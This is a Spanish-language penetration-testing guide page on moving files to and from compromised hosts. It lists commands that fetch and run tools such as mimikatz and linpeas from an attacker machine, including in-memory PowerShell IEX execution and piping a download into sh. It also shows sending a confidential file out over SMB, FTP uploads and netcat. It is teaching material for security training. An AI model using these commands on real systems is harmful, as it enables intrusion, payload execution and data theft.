🔄File Transfers
En esta sección veremos técnicas utilizadas por los atacantes para transferir archivos maliciosos o datos robados desde un sistema comprometido a un sistema controlado por el atacante o viceversa.
Nota: Este tipo de técnicas son muy invasivas, ya que vamos a enviar y recibir archivos en sistemas comprometidos, por lo que no podemos utilizar estas técnicas sin un consentimiento o aprobación por parte del objetivo
En la máquina que envía el archivo
cd {Carpeta del archivo a enviar}
python2 -m SimpleHTTPServer
python3 -m http.server
Si no le especificamos un puerto, por defecto usará el 8000. Si le especificamos el puerto 80 nos ahorraríamos poner el puerto en el comando de descarga.
python3 -m http.server 80
En la máquina que recibe el archivo
Descarga con Wget o Curl
wget http://{IP-ORIGEN}:{PUERTO}/mimikatz.exe
# Ejemplo
wget http://10.10.10.10:8000/mimikatz.exe
curl http://10.10.10.10:8000/mimikatz.exe -o mimikatz.exe
Si especificamos el puerto 80 en el envío con python solamente tendríamos que introducir la IP de la máquina que envía el archivo y el archivo a enviar
python3 -m http.server 80
wget http://10.10.10.10/mimikatz.exe
Ejecutar archivos directamente en Linux
Ejemplo con un ejecutable en Bash
wget http://10.10.10.10/linpeas.sh | sh
Descarga con PowerShell
Podemos especificar el nombre de la clase Net.WebClient
y el método DownloadFile
con los parámetros correspondientes a la URL del archivo de destino para descargar y el nombre del archivo de salida.
(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/mimikatz.exe','mimikatz.exe')
(New-Object Net.WebClient).DownloadFileAsync('http://10.10.10.10/mimikatz.exe','mimikatz.exe')
Descarga con certutil.exe en Windows
Desde un CMD en Windows nos podemos descargar el archivo que estamos sirviendo desde un servidor local en python:
certutil.exe -f -urlcache -split http://10.10.10.10/PowerView.ps1
Descarga con PowerShell - Método Fileless
Los ataques sin archivos funcionan mediante el uso de algunas funciones del sistema operativo para descargar y ejecutar los payloads. PowerShell también se puede utilizar para realizar ataques sin archivos. En lugar de descargar un script de PowerShell en el disco, podemos ejecutarlo directamente en la memoria usando el comando Invoke-Expression
o el alias IEX
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/mimikatz.exe')
(New-Object Net.WebClient).DownloadString('http://10.10.10.10/mimikatz.exe') | IEX
PowerShell Invoke-WebRequest
Desde PowerShell 3.0 en adelante, el cmdlet Invoke-WebRequest
también está disponible, pero es notablemente más lento para descargar archivos. Puedes usar los alias iwr
, curl
y wget
en lugar del nombre completo Invoke-WebRequest
.
Invoke-WebRequest -Uri 'http://10.10.10.10/mimikatz.exe' -OutFile 'mimikatz.exe'
iwr -Uri 'http://10.10.10.10/mimikatz.exe' -OutFile 'mimikatz.exe'
Descarga con SMB
El protocolo SMB que se ejecuta en el puerto TCP/445 se encuentra más comúnmente en las redes empresariales donde se ejecutan los servicios de Windows. Permite que las aplicaciones y los usuarios transfieran archivos entre servidores remotos. Podemos usar SMB para descargar archivos de nuestra máquina atacante fácilmente. Necesitamos crear un servidor SMB en nuestra máquina con smbserver.py de Impacket y luego usar copiar, mover, PowerShell Copy-Item o cualquier otra herramienta que permita la conexión a SMB.
sudo impacket-smbserver share -smb2support /tmp/smb_share
copy \\10.10.10.10\mimikatz.exe
¡Las nuevas versiones de Windows bloquean el acceso de usuarios no autenticados! Para transferir archivos en este escenario, podemos establecer un nombre de usuario y una contraseña usando nuestro servidor SMB de Impacket y montar el servidor SMB en nuestra máquina de destino de Windows:
sudo impacket-smbserver share -smb2support /tmp/smbshare -user johnDoe -password Sup3rP@ssw0rd!
net use z: \\10.10.10.10\share /user:johnDoe Sup3rP@ssw0rd!
Desde la interfaz gráfica de Windows

Descarga con FTP
Otra forma de transferir archivos es mediante FTP (Protocolo de transferencia de archivos), que utilizan los puertos TCP/21 y TCP/20. Podemos usar el cliente FTP o PowerShell Net.WebClient para descargar archivos desde un servidor FTP. Podemos configurar un servidor FTP en nuestro host de ataque usando el módulo Python3 pyftpdlib. Se puede instalar con el siguiente comando:
sudo pip3 install pyftpdlib
Por defecto, pyftpdlib usa el puerto 2121. Podemos cambiarlo con la opción -p / --port
sudo python3 -m pyftpdlib --port 21
Descargar archivos desde un servidor FTP con PowerShell
(New-Object System.Net.WebClient).DownloadFile('ftp://10.10.10.10/mimikatz.exe','mimikatz.exe')
echo open 10.10.10.10 8000 > ftp.txt
echo USER anonymous >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo BYE >> ftp.txt
ftp -v -s:ftp.txt
Carga de archivos - FTP
La carga de archivos mediante FTP es muy similar a la descarga de archivos. Podemos usar PowerShell o el cliente FTP para completar la operación. Antes de iniciar nuestro servidor FTP utilizando el módulo de Python pyftpdlib, debemos especificar la opción --write para permitir que los clientes carguen archivos en nuestro host de ataque.
sudo python3 -m pyftpdlib --port 21 --write
PowerShell Upload File
(New-Object System.Net.WebClient).UploadFile('ftp://192.168.35.12/mimikatz.exe','C:\Users\Public\mimikatz.exe')
echo open 192.168.35.12 8000 > ftp.txt
echo USER anonymous >> ftp.txt
echo binary >> ftp.txt
echo PUT mimikatz.exe >> ftp.txt
echo BYE >> ftp.txt
ftp -v -s:ftp.txt
Envío de archivos con Impacket smbserver
Esta técnica sirve para transferir archivos desde un host Windows a nuestra máquina de atacante. Vamos a crear un recurso compartido con impacket-smbserver
en Kali Linux:
afsh4ck@kali$ sudo impacket-smbserver -smb2support CompData /home/kali/Descargas/
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Una vez creado podemos enviarnos archivos desde la máquina Windows con el siguiente comando:
C:\> move confidential.txt \\10.10.15.16\CompData
1 file(s) moved.
Con Netcat
Comando para recibir el fichero en Linux y Windows:
nc -lvp 4444 > FiletoTransfer
Comando para enviar el fichero en Linux y Windows:
nc IP-DESTINO 4444 < FiletoTransfer
Usando Base64
En algunos casos, es posible que no podamos transferir el archivo. Por ejemplo, el host remoto puede tener protecciones de firewall que nos impiden descargar un archivo de nuestra máquina. En este tipo de situación, podemos usar un truco simple para codificar en base64 el archivo en formato base64
, y luego podemos pegar la base64
cadena en el servidor remoto y decodificarla. Por ejemplo, si quisiéramos transferir un archivo binario llamado shell
, podemos base64
codificarlo de la siguiente manera:
afshack@kali$ base64 shell -w 0
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU
Ahora, podemos copiar esta cadena en base64
, ir al host remoto, y usar base64 -d
para decodificarla y canalizar la salida a un archivo:
user@remotehost$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell
Guía rápida
Comando
Descripción
Invoke-WebRequest https://IP:PUERTO/PowerView.ps1 -OutFile PowerView.ps1
Descargar un archivo con PowerShell
IEX (New-Object Net.WebClient).DownloadString('https://IP:PUERTO/Mimikatz.ps1')
Ejecutar un archivo en memoria usando PowerShell
Invoke-WebRequest -Uri http://IP:PUERTO -Method POST -Body $b64
Subir un archivo con PowerShell
bitsadmin /transfer n http://IP:PUERTO/nc.exe C:\Temp\nc.exe
Descargar un archivo usando Bitsadmin
certutil.exe -verifyctl -split -f http://IP:PUERTO/nc.exe
Descargar un archivo usando Certutil
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
Descargar un archivo usando Wget
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Descargar un archivo usando curl
php -r '$file = file_get_contents("https://IP:PUERTO/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
Descargar un archivo usando PHP
scp C:\Temp\bloodhound.zip user@IP:/tmp/bloodhound.zip
Subir un archivo usando SCP
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe
Descargar un archivo usando SCP
Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"
Invoke-WebRequest usando Chrome User Agent
Hack Tools Plugin

Este plugin disponible para todos los navegadores tenemos recogidas todas estas técnicas de envío de archivos, pudiendo configurar la IP, el puerto y el nombre del archivo que queremos enviar.
Última actualización
¿Te fue útil?